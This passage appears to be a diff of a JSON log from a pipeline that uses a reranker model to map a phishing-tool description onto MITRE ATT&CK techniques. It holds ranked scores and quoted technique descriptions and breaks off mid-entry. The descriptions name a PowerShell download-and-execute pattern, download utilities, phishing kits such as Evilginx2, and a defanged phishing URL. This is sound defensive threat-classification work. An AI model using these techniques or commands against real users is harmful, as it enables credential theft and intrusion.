"model": "Qwen/Qwen3-Reranker-4B", + "scores": [ + { + "item_id": "T1539", + "score": 0.99609375, + "rank": 0 + }, + { + "item_id": "T1557", + "score": 0.98828125, + "rank": 1 + }, + { + "item_id": "T1185", + "score": 0.9765625, + "rank": 2 + }, + { + "item_id": "T1090", + "score": 0.9765625, + "rank": 3 + }, + { + "item_id": "T1040", + "score": 0.65234375, + "rank": 4 + }, + { + "item_id": "T1090.002", + "score": 0.306640625, + "rank": 5 + }, + { + "item_id": "T1056", + "score": 0.28125, + "rank": 6 + }, + { + "item_id": "T1550.004", + "score": 0.2451171875, + "rank": 7 + }, + { + "item_id": "T1598.003", + "score": 0.0810546875, + "rank": 8 + }, + { + "item_id": "T1090.001", + "score": 0.06787109375, + "rank": 9 + }, + { + "item_id": "T1056.003", + "score": 0.039306640625, + "rank": 10 + }, + { + "item_id": "T1212", + "score": 0.039306640625, + "rank": 11 + }, + { + "item_id": "T1606.001", + "score": 0.0311279296875, + "rank": 12 + }, + { + "item_id": "T1589.001", + "score": 0.029296875, + "rank": 13 + }, + { + "item_id": "T1606", + "score": 0.0203857421875, + "rank": 14 + }, + { + "item_id": "T1555", + "score": 0.0167236328125, + "rank": 15 + }, + { + "item_id": "T1071", + "score": 0.0167236328125, + "rank": 16 + }, + { + "item_id": "T1659", + "score": 0.0167236328125, + "rank": 17 + }, + { + "item_id": "T1557.004", + "score": 0.0111083984375, + "rank": 18 + }, + { + "item_id": "T1056.001", + "score": 0.0086669921875, + "rank": 19 + }, + { + "item_id": "T1563", + "score": 0.00811767578125, + "rank": 20 + }, + { + "item_id": "T1589", + "score": 0.007171630859375, + "rank": 21 + }, + { + "item_id": "T1111", + "score": 0.007171630859375, + "rank": 22 + }, + { + "item_id": "T1204", + "score": 0.006744384765625, + "rank": 23 + }, + { + "item_id": "T1555.003", + "score": 0.006317138671875, + "rank": 24 + }, + { + "item_id": "T1573", + "score": 0.00408935546875, + "rank": 25 + }, + { + "item_id": "T1588.004", + "score": 0.00299072265625, + "rank": 26 + }, + { + "item_id": "T1187", + "score": 0.002471923828125, + "rank": 27 + }, + { + "item_id": "T1556", + "score": 0.0023956298828125, + "rank": 28 + }, + { + "item_id": "T1001.003", + "score": 0.0023345947265625, + "rank": 29 + }, + { + "item_id": "T1217", + "score": 0.0021820068359375, + "rank": 30 + }, + { + "item_id": "T1584.008", + "score": 0.0021209716796875, + "rank": 31 + }, + { + "item_id": "T1563.002", + "score": 0.0019989013671875, + "rank": 32 + }, + { + "item_id": "T1134.001", + "score": 0.0012054443359375, + "rank": 33 + }, + { + "item_id": "T1134.003", + "score": 0.00116729736328125, + "rank": 34 + }, + { + "item_id": "T1550", + "score": 0.00116729736328125, + "rank": 35 + }, + { + "item_id": "T1563.001", + "score": 0.00102996826171875, + "rank": 36 + }, + { + "item_id": "T1596.004", + "score": 0.00099945068359375, + "rank": 37 + }, + { + "item_id": "T1005", + "score": 0.000942230224609375, + "rank": 38 + }, + { + "item_id": "T1056.002", + "score": 0.000942230224609375, + "rank": 39 + }, + { + "item_id": "T1590.006", + "score": 0.000911712646484375, + "rank": 40 + }, + { + "item_id": "T1098", + "score": 0.000885009765625, + "rank": 41 + }, + { + "item_id": "T1059", + "score": 0.000732421875, + "rank": 42 + }, + { + "item_id": "T1556.008", + "score": 0.000732421875, + "rank": 43 + }, + { + "item_id": "T1033", + "score": 0.00070953369140625, + "rank": 44 + }, + { + "item_id": "T1528", + "score": 0.00064849853515625, + "rank": 45 + }, + { + "item_id": "T1555.005", + "score": 0.00064849853515625, + "rank": 46 + }, + { + "item_id": "T1596.003", + "score": 0.0006256103515625, + "rank": 47 + }, + { + "item_id": "T1036", + "score": 0.000606536865234375, + "rank": 48 + }, + { + "item_id": "T1036.012", + "score": 0.000606536865234375, + "rank": 49 + }, + { + "item_id": "T1110.004", + "score": 0.00058746337890625, + "rank": 50 + }, + { + "item_id": "T1674", + "score": 0.0004444122314453125, + "rank": 51 + }, + { + "item_id": "T1566", + "score": 0.000392913818359375, + "rank": 52 + }, + { + "item_id": "T1056.004", + "score": 0.000392913818359375, + "rank": 53 + }, + { + "item_id": "T1552.008", + "score": 0.000392913818359375, + "rank": 54 + }, + { + "item_id": "T1219.003", + "score": 0.0003795623779296875, + "rank": 55 + }, + { + "item_id": "T1140", + "score": 0.0003681182861328125, + "rank": 56 + }, + { + "item_id": "T1114.002", + "score": 0.0003681182861328125, + "rank": 57 + }, + { + "item_id": "T1204.005", + "score": 0.0003452301025390625, + "rank": 58 + }, + { + "item_id": "T1596.001", + "score": 0.0002956390380859375, + "rank": 59 + }, + { + "item_id": "T1189", + "score": 0.000278472900390625, + "rank": 60 + }, + { + "item_id": "T1596.005", + "score": 0.0002613067626953125, + "rank": 61 + }, + { + "item_id": "T1113", + "score": 0.0002460479736328125, + "rank": 62 + }, + { + "item_id": "T1593.002", + "score": 0.00021648406982421875, + "rank": 63 + }, + { + "item_id": "T1596.002", + "score": 0.00020313262939453125, + "rank": 64 + }, + { + "item_id": "T1593.001", + "score": 0.00019073486328125, + "rank": 65 + }, + { + "item_id": "T1195.001", + "score": 0.00019073486328125, + "rank": 66 + }, + { + "item_id": "T1087", + "score": 0.000179290771484375, + "rank": 67 + }, + { + "item_id": "T1115", + "score": 0.0001316070556640625, + "rank": 68 + }, + { + "item_id": "T1597.002", + "score": 0.00012302398681640625, + "rank": 69 + }, + { + "item_id": "T1036.010", + "score": 0.00012302398681640625, + "rank": 70 + }, + { + "item_id": "T1681", + "score": 0.00012302398681640625, + "rank": 71 + }, + { + "item_id": "T1558.005", + "score": 0.0001087188720703125, + "rank": 72 + }, + { + "item_id": "T1597.001", + "score": 9.632110595703125e-05, + "rank": 73 + }, + { + "item_id": "T1125", + "score": 4.839897155761719e-05, + "rank": 74 + } + ], + "query_id": "behavior", + "usage": { + "input_tokens": 27407 + } + }, + "evidence_sha256": "0ec36d392036a59587703b0e24f05b2f47909dccf6a7fa2ae4236a59e49b8545" + }, + { + "stage": "rerank", + "function": "score", + "requested_model": "Qwen/Qwen3-Reranker-4B", + "runtime_model": "Qwen/Qwen3-Reranker-4B", + "request_id": null, + "credits_debited": null, + "rate_book_version": null, + "execution_identity_sha256": null, + "latency_ms": 818.1, + "request_payload": { + "query": { + "id": "behavior", + "text": "Observed adversary behavior: This relatively simple tool allows phishing one site at a time" + }, + "items": [ + { + "id": "T1566", + "text": "ATT&CK technique: T1566 Phishing\nDescription: Adversaries may send phishing messages to gain access to victim systems. All forms of phishing are electronically delivered social engineering. Phishing can be targeted, known as spearphishing. In spearphishing, a specific individual, company, or industry will be targeted by the adversary. More generally, adversaries can conduct non-targeted phishing, such as in mass malware spam campaigns. Adversaries may send victims emails containing malicious attachments or links, typically to execute malicious code on victim systems. Phishing may also be conducted via third-party services, like social media platforms. Phishing may also involve social engineering techniques, such as posing as a trusted source, as well as evasive techniques such as removing or manipulating emails or metadata/headers from compromised accounts being abused to send messages (e.g., Email Hiding Rules). Another way to accomplish this is by Email Spoofing the identity of the sender, which can be used to fool both the human recipient as well as automated security tools, or by including the intended target as a party to an existing email thread that includes malicious files or links (i.e., \"thread hijacking\"). Victims may also receive phishing messages that instruct them to call a phone number where they are directed to visit a malicious URL, download malware, or install adversary-accessible remote management tools onto their computer (i.e., User Execution).\nTactics: initial access\nPlatforms: Identity Provider, Linux, Office Suite, SaaS, Windows, macOS\nLabeled report example: As an example, the OWA phishing page is displayed (Figure 15) when the user clicks the “Outlook Web Access” link on the web page." + }, + { + "id": "T1204", + "text": "ATT&CK technique: T1204 User Execution\nDescription: An adversary may rely upon specific actions by a user in order to gain execution. Users may be subjected to social engineering to get them to execute malicious code by, for example, opening a malicious document file or link. These user actions will typically be observed as follow-on behavior from forms of Phishing. While User Execution frequently occurs shortly after Initial Access it may occur at other phases of an intrusion, such as when an adversary places a file in a shared directory or on a user's desktop hoping that a user will click on it. This activity may also be seen shortly after Internal Spearphishing. Adversaries may also deceive users into performing actions such as: * Enabling Remote Access Tools, allowing direct control of the system to the adversary * Running malicious JavaScript in their browser, allowing adversaries to Steal Web Session Cookies * Downloading and executing malware for User Execution * Coerceing users to copy, paste, and execute malicious code manually For example, tech support scams can be facilitated through Phishing, vishing, or various forms of user interaction. Adversaries can use a combination of these methods, such as spoofing and promoting toll-free numbers or call centers that are used to direct victims to malicious websites, to deliver and execute payloads containing malware or Remote Access Tools.\nTactics: execution\nPlatforms: Containers, IaaS, Linux, Windows, macOS\nLabeled report example: Click the URL link." + }, + { + "id": "T1586", + "text": "ATT&CK technique: T1586 Compromise Accounts\nDescription: Adversaries may compromise accounts with services that can be used during targeting. For operations incorporating social engineering, the utilization of an online persona may be important. Rather than creating and cultivating accounts (i.e. Establish Accounts), adversaries may compromise existing accounts. Utilizing an existing persona may engender a level of trust in a potential victim if they have a relationship, or knowledge of, the compromised persona. A variety of methods exist for compromising accounts, such as gathering credentials via Phishing for Information, purchasing credentials from third-party sites, brute forcing credentials (ex: password reuse from breach credential dumps), or paying employees, suppliers or business partners for access to credentials. Prior to compromising accounts, adversaries may conduct Reconnaissance to inform decisions about which accounts to compromise to further their operation. Personas may exist on a single site or across multiple sites (ex: Facebook, LinkedIn, Twitter, Google, etc.). Compromised accounts may require additional development, this could include filling out or modifying profile information, further developing social networks, or incorporating photos. Adversaries may directly leverage compromised email accounts for Phishing for Information or Phishing.\nTactics: resource development\nPlatforms: PRE\nLabeled report example: 2.Exploitation I (Optional).Both threat actor groups used a non-malicious PDF, luring the user to click on the contained link in order to download the maldoc." + }, + { + "id": "T1589", + "text": "ATT&CK technique: T1589 Gather Victim Identity Information\nDescription: Adversaries may gather information about the victim's identity that can be used during targeting. Information about identities may include a variety of details, including personal data (ex: employee names, email addresses, security question responses, etc.) as well as sensitive details such as credentials or multi-factor authentication (MFA) configurations. Adversaries may gather this information in various ways, such as direct elicitation via Phishing for Information. Information about users could also be enumerated via other active means (i.e. Active Scanning) such as probing and analyzing responses from authentication services that may reveal valid usernames in a system or permitted MFA /methods associated with those usernames. Information about victims may also be exposed to adversaries via online or other accessible data sets (ex: Social Media or Search Victim-Owned Websites). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: Search Open Websites/Domains or Phishing for Information), establishing operational resources (ex: Compromise Accounts), and/or initial access (ex: Phishing or Valid Accounts).\nTactics: reconnaissance\nPlatforms: PRE\nLabeled report example: In the recent past, these domains resolved to the following IP addresses, each of which hosted newly registered domains lexically close to legitimate domains and possibly connected to the skimmer attacks." + }, + { + "id": "T1056", + "text": "ATT&CK technique: T1056 Input Capture\nDescription: Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture).\nTactics: collection, credential access\nPlatforms: Linux, Network Devices, Windows, macOS\nLabeled report example: | https://00f74ba44bd85135df3aa07960343eeeec89e0088b-apidata[.]googleusercontent[.]com/download/storage/v1/b/dhngw6p6rwrwnuv6vnuse.appspot.com/o/index.html | Microsoft Credential Theft Phishing Landing Page |" + }, + { + "id": "T1189", + "text": "ATT&CK technique: T1189 Drive-by Compromise\nDescription: Adversaries may gain access to a system through a user visiting a website over the normal course of browsing. Multiple ways of delivering exploit code to a browser exist (i.e., Drive-by Target), including: * A legitimate website is compromised, allowing adversaries to inject malicious code * Script files served to a legitimate website from a publicly writeable cloud storage bucket are modified by an adversary * Malicious ads are paid for and served through legitimate ad providers (i.e., Malvertising) * Built-in web application interfaces that allow user-controllable content are leveraged for the insertion of malicious scripts or iFrames (e.g., cross-site scripting) Browser push notifications may also be abused by adversaries and leveraged for malicious code injection via User Execution. By clicking \"allow\" on browser push notifications, users may be granting a website permission to run JavaScript code on their browser. Often the website used by an adversary is one visited by a specific community, such as government, a particular industry, or a particular region, where the goal is to compromise a specific user or set of users based on a shared interest. This kind of targeted campaign is often referred to a strategic web compromise or watering hole attack. There are several known examples of this occurring. Typical drive-by compromise process: 1. A user visits a website that is used to host the adversary controlled content. 2. Scripts automatically execute, typically searching versions of the browser and plugins for a potentially vulnerable version. The user may be required to assist in this process by enabling scripting, notifications, or active website components and ignoring warning dialog boxes. 3. Upon finding a vulnerable version, exploit code is delivered to the browser. 4. If exploitation is successful, the adversary will gain code execution on the user's system unless other protections are in place. In some cases, a second visit to the website after the initial scan is required before exploit code is delivered. Unlike Exploit Public-Facing Application, the focus of this technique is to exploit software on a client endpoint upon visiting a website. This will commonly give an adversary access to systems on the internal network instead of external systems that may be in a DMZ.\nTactics: initial access\nPlatforms: Identity Provider, Linux, Windows, macOS\nLabeled report example: It is also found to be delivered by masquerading as a legitimate application installer uploaded to file-sharing services and luring victims via drive-by download campaigns." + }, + { + "id": "T1608", + "text": "ATT&CK technique: T1608 Stage Capabilities\nDescription: Adversaries may upload, install, or otherwise set up capabilities that can be used during targeting. To support their operations, an adversary may need to take capabilities they developed (Develop Capabilities) or obtained (Obtain Capabilities) and stage them on infrastructure under their control. These capabilities may be staged on infrastructure that was previously purchased/rented by the adversary (Acquire Infrastructure) or was otherwise compromised by them (Compromise Infrastructure). Capabilities may also be staged on web services, such as GitHub or Pastebin, or on Platform-as-a-Service (PaaS) offerings that enable users to easily provision applications. Staging of capabilities can aid the adversary in a number of initial access and post-compromise behaviors, including (but not limited to): * Staging web resources necessary to conduct Drive-by Compromise when a user browses to a site. * Staging web resources for a link target to be used with spearphishing. * Uploading malware or tools to a location accessible to a victim network to enable Ingress Tool Transfer. * Installing a previously acquired SSL/TLS certificate to use to encrypt command and control traffic (ex: Asymmetric Cryptography with Web Protocols).\nTactics: resource development\nPlatforms: PRE\nLabeled report example: This campaign uses Discord services to form a URL to host malicious payloads as follows: *https://cdn.discordapp.com/attachments/ChannelID/AttachmentID/filename.exe*" + }, + { + "id": "T1557", + "text": "ATT&CK technique: T1557 Adversary-in-the-Middle\nDescription: Adversaries may attempt to position themselves between two or more networked devices using an adversary-in-the-middle (AiTM) technique to support follow-on behaviors such as Network Sniffing, Transmitted Data Manipulation, or replay attacks (Exploitation for Credential Access). By abusing features of common networking protocols that can determine the flow of network traffic (e.g. ARP, DNS, LLMNR, etc.), adversaries may force a device to communicate through an adversary controlled system so they can collect information or perform additional actions. For example, adversaries may manipulate victim DNS settings to enable other malicious activities such as preventing/redirecting users from accessing legitimate sites and/or pushing additional malware. Adversaries may also manipulate DNS and leverage their position in order to intercept user credentials, including access tokens (Steal Application Access Token) and session cookies (Steal Web Session Cookie). Downgrade Attacks can also be used to establish an AiTM position, such as by negotiating a less secure, deprecated, or weaker version of communication protocol (SSL/TLS) or encryption algorithm. Adversaries may also leverage the AiTM position to attempt to monitor and/or modify traffic, such as in Transmitted Data Manipulation. Adversaries can setup a position similar to AiTM to prevent traffic from flowing to the appropriate destination, potentially to impair defenses and/or in support of a Network Denial of Service.\nTactics: collection, credential access\nPlatforms: Linux, Network Devices, Windows, macOS\nLabeled report example: If macros are enabled, it will install and run The Trick, a trojan that intercepts and logs banking website visits to steal credentials." + }, + { + "id": "T1114", + "text": "ATT&CK technique: T1114 Email Collection\nDescription: Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Emails may also contain details of ongoing incident response operations, which may allow adversaries to adjust their techniques in order to maintain persistence or evade defenses. Adversaries can collect or forward email from mail servers or clients.\nTactics: collection\nPlatforms: Linux, Office Suite, Windows, macOS\nLabeled report example: * Email contact stealer" + }, + { + "id": "T1036", + "text": "ATT&CK technique: T1036 Masquerading\nDescription: Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names. Renaming abusable system utilities to evade security monitoring is also a form of Masquerading.\nTactics: stealth\nPlatforms: Containers, ESXi, Linux, Windows, macOS\nLabeled report example: In some previous phishing email campaigns, attackers leveraged SendGrid to distribute the initial emails to hide the Google Drive links in the documents behind a SendGrid URL as a way to bypass traditional defences." + }, + { + "id": "T1140", + "text": "ATT&CK technique: T1140 Deobfuscate/Decode Files or Information\nDescription: Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system. One such example is the use of certutil to decode a remote access tool portable executable file that has been hidden inside a certificate file. Another example is using the Windows copy /b or type command to reassemble binary fragments into a malicious payload. Sometimes a user's action may be required to open it for deobfuscation or decryption as part of User Execution. The user may also be required to input a password to open a password protected compressed/encrypted file that was provided by the adversary.\nTactics: stealth\nPlatforms: ESXi, Linux, Windows, macOS\nLabeled report example: The decoded content shown in Figure 5 uses the meta-refresh tag to redirect the user to the target credential phishing site." + }, + { + "id": "T1583", + "text": "ATT&CK technique: T1583 Acquire Infrastructure\nDescription: Adversaries may buy, lease, rent, or obtain infrastructure that can be used during targeting. A wide variety of infrastructure exists for hosting and orchestrating adversary operations. Infrastructure solutions include physical or cloud servers, domains, and third-party web services. Some infrastructure providers offer free trial periods, enabling infrastructure acquisition at limited to no cost. Additionally, botnets are available for rent or purchase. Use of these infrastructure solutions allows adversaries to stage, launch, and execute operations. Solutions may help adversary operations blend in with traffic that is seen as normal, such as contacting third-party web services or acquiring infrastructure to support Proxy, including from residential proxy services. Depending on the implementation, adversaries may use infrastructure that makes it difficult to physically tie back to them as well as utilize infrastructure that can be rapidly provisioned, modified, and shut down.\nTactics: resource development\nPlatforms: PRE\nLabeled report example: The other 12 spear phishing emails were sent from domain names previously registered by them, imitating a specific organization." + }, + { + "id": "T1059", + "text": "ATT&CK technique: T1059 Command and Scripting Interpreter\nDescription: Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell. There are also cross-platform interpreters such as Python, as well as those commonly associated with client applications such as JavaScript and Visual Basic. Adversaries may abuse these technologies in various ways as a means of executing arbitrary commands. Commands and scripts can be embedded in Initial Access payloads delivered to victims as lure documents or as secondary payloads downloaded from an existing C2. Adversaries may also execute commands through interactive terminals/shells, as well as utilize various Remote Services in order to achieve remote Execution.\nTactics: execution\nPlatforms: Containers, ESXi, IaaS, Identity Provider, Linux, Network Devices, Office Suite, SaaS, Windows, macOS\nLabeled report example: **Phishing content loaded remotely using JavaScript**" + }, + { + "id": "T1105", + "text": "ATT&CK technique: T1105 Ingress Tool Transfer\nDescription: Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp. Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer). On Windows, adversaries may use various utilities to download tools, such as `copy`, `finger`, certutil, and PowerShell commands such as IEX(New-Object Net.WebClient).downloadString() and Invoke-WebRequest. On Linux and macOS systems, a variety of utilities also exist, such as `curl`, `scp`, `sftp`, `tftp`, `rsync`, `finger`, and `wget`. A number of these tools, such as `wget`, `curl`, and `scp`, also exist on ESXi. After downloading a file, a threat actor may attempt to verify its integrity by checking its hash value (e.g., via `certutil -hashfile`). Adversaries may also abuse installers and package managers, such as `yum` or `winget`, to download tools to victim hosts. Adversaries have also abused file application features, such as the Windows `search-ms` protocol handler, to deliver malicious files to victims through remote file searches invoked by User Execution (typically after interacting with Phishing lures). Files can also be transferred using various Web Services as well as native or otherwise present tools on the victim system. In some cases, adversaries may be able to leverage services that sync between a web-based and an on-premises client, such as Dropbox or OneDrive, to transfer files onto victim systems. For example, by compromising a cloud account and logging into the service's web portal, an adversary may be able to trigger an automatic syncing process that transfers the file onto the victim's machine.\nTactics: command and control\nPlatforms: ESXi, Linux, Network Devices, Windows, macOS\nLabeled report example: The emails contained links to download Microsoft Excel documents containing macros that, when enabled, downloaded the Dridex malware designed to steal banking and other personal information." + }, + { + "id": "T1190", + "text": "ATT&CK technique: T1190 Exploit Public-Facing Application\nDescription: Adversaries may attempt to exploit a weakness in an Internet-facing host or system to initially access a network. The weakness in the system can be a software bug, a temporary glitch, or a misconfiguration. Exploited applications are often websites/web servers, but can also include databases (like SQL), standard services (like SMB or SSH), network device administration and management protocols (like SNMP and Smart Install), and any other system with Internet-accessible open sockets. On ESXi infrastructure, adversaries may exploit exposed OpenSLP services; they may alternatively exploit exposed VMware vCenter servers. Depending on the flaw being exploited, this may also involve Exploitation for Stealth or Exploitation for Client Execution. If an application is hosted on cloud-based infrastructure and/or is containerized, then exploiting it may lead to compromise of the underlying instance or container. This can allow an adversary a path to access the cloud or container APIs (e.g., via the Cloud Instance Metadata API), exploit container host access via Escape to Host, or take advantage of weak identity and access management policies. Adversaries may also exploit edge network infrastructure and related appliances, specifically targeting devices that do not support robust host-based defenses. For websites and databases, the OWASP top 10 and CWE top 25 highlight the most common web-based vulnerabilities.\nTactics: initial access\nPlatforms: Containers, ESXi, IaaS, Linux, Network Devices, Windows, macOS\nLabeled report example: Websites in the shopping category are the most common targets for skimmer attacks, but other URL categories have also fallen victim to these attacks, as shown in the following chart:" + }, + { + "id": "T1041", + "text": "ATT&CK technique: T1041 Exfiltration Over C2 Channel\nDescription: Adversaries may steal data by exfiltrating it over an existing command and control channel. Stolen data is encoded into the normal communications channel using the same protocol as command and control communications.\nTactics: exfiltration\nPlatforms: ESXi, Linux, Windows, macOS\nLabeled report example: To send stolen images over SMTP, it reads the image path and attaches the .bmp image as an email attachment with a personalize the subject line, such as \"**Dear M00nD3v user Please find the attachment of Webcam. Regards M00nD3v\"**" + }, + { + "id": "T1614", + "text": "ATT&CK technique: T1614 System Location Discovery\nDescription: Adversaries may gather information in an attempt to calculate the geographical location of a victim host. Adversaries may use the information from System Location Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions. Adversaries may attempt to infer the location of a system using various system checks, such as time zone, keyboard layout, and/or language settings. Windows API functions such as GetLocaleInfoW can also be used to determine the locale of the host. In cloud environments, an instance's availability zone may also be discovered by accessing the instance metadata service from the instance. Adversaries may also attempt to infer the location of a victim host using IP addressing, such as via online geolocation IP-lookup services.\nTactics: discovery\nPlatforms: IaaS, Linux, Windows, macOS\nLabeled report example: The Default\\_send function is responsible for collecting the URL of the infected page and grabbing all the inputs provided by the victim who is shopping on the compromised website." + }, + { + "id": "T1598", + "text": "ATT&CK technique: T1598 Phishing for Information\nDescription: Adversaries may send phishing messages to elicit sensitive information that can be used during targeting. Phishing for information is an attempt to trick targets into divulging information, frequently credentials or other actionable information. Phishing for information is different from Phishing in that the objective is gathering data from the victim rather than executing malicious code. All forms of phishing are electronically delivered social engineering. Phishing can be targeted, known as spearphishing. In spearphishing, a specific individual, company, or industry will be targeted by the adversary. More generally, adversaries can conduct non-targeted phishing, such as in mass credential harvesting campaigns. Adversaries may also try to obtain information directly through the exchange of emails, instant messages, or other electronic conversation means. Victims may also receive phishing messages that direct them to call a phone number where the adversary attempts to collect confidential information. Phishing for information frequently involves social engineering techniques, such as posing as a source with a reason to collect information (ex: Establish Accounts or Compromise Accounts) and/or sending multiple, seemingly urgent messages. Another way to accomplish this is by Email Spoofing the identity of the sender, which can be used to fool both the human recipient as well as automated security tools. Phishing for information may also involve evasive techniques, such as removing or manipulating emails or metadata/headers from compromised accounts being abused to send messages (e.g., Email Hiding Rules).\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1071", + "text": "ATT&CK technique: T1071 Application Layer Protocol\nDescription: Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server. Adversaries may utilize many different protocols, including those used for web browsing, transferring files, electronic mail, DNS, or publishing/subscribing. For connections that occur internally within an enclave (such as those between a proxy or pivot node and other nodes), commonly used protocols are SMB, SSH, or RDP.\nTactics: command and control\nPlatforms: ESXi, Linux, Network Devices, Windows, macOS\nLabeled report example: The malware crafts an email with the captured details shown in Figure 16 and sends it to the attacker." + }, + { + "id": "T1020", + "text": "ATT&CK technique: T1020 Automated Exfiltration\nDescription: Adversaries may exfiltrate data, such as sensitive documents, through the use of automated processing after being gathered during Collection. When automated exfiltration is used, other exfiltration techniques likely apply as well to transfer the information out of the network, such as Exfiltration Over C2 Channel and Exfiltration Over Alternative Protocol.\nTactics: exfiltration\nPlatforms: Linux, Network Devices, Windows, macOS\nLabeled report example: * It has also been observed from some spear-phishings the exfiltration by Yopmail’s HTTPS webmail service." + }, + { + "id": "T1132", + "text": "ATT&CK technique: T1132 Data Encoding\nDescription: Adversaries may encode data to make the content of command and control traffic more difficult to detect. Command and control (C2) information can be encoded using a standard data encoding system. Use of data encoding may adhere to existing protocol specifications and includes use of ASCII, Unicode, Base64, MIME, or other binary-to-text and character encoding systems. Some data encoding systems may also result in data compression, such as gzip.\nTactics: command and control\nPlatforms: ESXi, Linux, Windows, macOS\nLabeled report example: The skimmer script has a Base64-encoded fake payment page and skimmed data is sent to the attacker-controlled domain." + }, + { + "id": "T1684.001", + "text": "ATT&CK technique: T1684.001 Impersonation\nDescription: Adversaries may impersonate a trusted person or organization in order to persuade and trick a target into performing some action on their behalf. For example, adversaries may communicate with victims (via Phishing for Information, Phishing, or Internal Spearphishing) while impersonating a known sender such as an executive, colleague, or third-party vendor. Established trust can then be leveraged to accomplish an adversary’s ultimate goals, possibly against multiple victims. In many cases of business email compromise or email fraud campaigns, adversaries use impersonation to defraud victims -- deceiving them into sending money or divulging information that ultimately enables Financial Theft. Adversaries will often also use social engineering techniques such as manipulative and persuasive language in email subject lines and body text such as `payment`, `request`, or `urgent` to push the victim to act quickly before malicious activity is detected. These campaigns are often specifically targeted against people who, due to job roles and/or accesses, can carry out the adversary’s goal. Impersonation is typically preceded by reconnaissance techniques such as Gather Victim Identity Information and Gather Victim Org Information as well as acquiring infrastructure such as email domains (i.e. Domains) to substantiate their false identity. There is the potential for multiple victims in campaigns involving impersonation. For example, an adversary may Compromise Accounts targeting one organization which can then be used to support impersonation against other entities.\nTactics: stealth\nPlatforms: Linux, Office Suite, SaaS, Windows, macOS" + }, + { + "id": "T1598.004", + "text": "ATT&CK technique: T1598.004 Spearphishing Voice\nDescription: Adversaries may use voice communications to elicit sensitive information that can be used during targeting. Spearphishing for information is an attempt to trick targets into divulging information, frequently credentials or other actionable information. Spearphishing for information frequently involves social engineering techniques, such as posing as a source with a reason to collect information (ex: Impersonation) and/or creating a sense of urgency or alarm for the recipient. All forms of phishing are electronically delivered social engineering. In this scenario, adversaries use phone calls to elicit sensitive information from victims. Known as voice phishing (or \"vishing\"), these communications can be manually executed by adversaries, hired call centers, or even automated via robocalls. Voice phishers may spoof their phone number while also posing as a trusted entity, such as a business partner or technical support staff. Victims may also receive phishing messages that direct them to call a phone number (\"callback phishing\") where the adversary attempts to collect confidential information. Adversaries may also use information from previous reconnaissance efforts (ex: Search Open Websites/Domains or Search Victim-Owned Websites) to tailor pretexts to be even more persuasive and believable for the victim.\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1598.002", + "text": "ATT&CK technique: T1598.002 Spearphishing Attachment\nDescription: Adversaries may send spearphishing messages with a malicious attachment to elicit sensitive information that can be used during targeting. Spearphishing for information is an attempt to trick targets into divulging information, frequently credentials or other actionable information. Spearphishing for information frequently involves social engineering techniques, such as posing as a source with a reason to collect information (ex: Establish Accounts or Compromise Accounts) and/or sending multiple, seemingly urgent messages. All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, adversaries attach a file to the spearphishing email. In some cases, they may rely upon the recipient populating information, then returning the file. The text of the spearphishing email usually tries to give a plausible reason why the file should be filled-in, such as a request for information from a business associate. In other cases, adversaries may leverage techniques such as HTML Smuggling to harvest user credentials via fake login portals. Adversaries may also use information from previous reconnaissance efforts (ex: Search Open Websites/Domains or Search Victim-Owned Websites) to craft persuasive and believable lures.\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1598.003", + "text": "ATT&CK technique: T1598.003 Spearphishing Link\nDescription: Adversaries may send spearphishing messages with a malicious link to elicit sensitive information that can be used during targeting. Spearphishing for information is an attempt to trick targets into divulging information, frequently credentials or other actionable information. Spearphishing for information frequently involves social engineering techniques, such as posing as a source with a reason to collect information (ex: Establish Accounts or Compromise Accounts) and/or sending multiple, seemingly urgent messages. All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, the malicious emails contain links generally accompanied by social engineering text to coax the user to actively click or copy and paste a URL into a browser. The given website may be a clone of a legitimate site (such as an online or corporate login portal) or may closely resemble a legitimate site in appearance and have a URL containing elements from the real site. URLs may also be obfuscated by taking advantage of quirks in the URL schema, such as the acceptance of integer- or hexadecimal-based hostname formats and the automatic discarding of text before an “@” symbol: for example, `hxxp://google.com@1157586937`. Adversaries may also embed “tracking pixels,” \"web bugs,\" or \"web beacons\" within phishing messages to verify the receipt of an email, while also potentially profiling and tracking victim information such as IP address. These mechanisms often appear as small images (typically one pixel in size) or otherwise obfuscated objects and are typically delivered as HTML code containing a link to a remote server. Adversaries may also be able to spoof a complete website using what is known as a \"browser-in-the-browser\" (BitB) attack. By generating a fake browser popup window with an HTML-based address bar that appears to contain a legitimate URL (such as an authentication portal), they may be able to prompt users to enter their credentials while bypassing typical URL verification methods. Adversaries can use phishing kits such as `EvilProxy` and `Evilginx2` to perform adversary-in-the-middle phishing by proxying the connection between the victim and the legitimate website. On a successful login, the victim is redirected to the legitimate website, while the adversary captures their session cookie (i.e., Steal Web Session 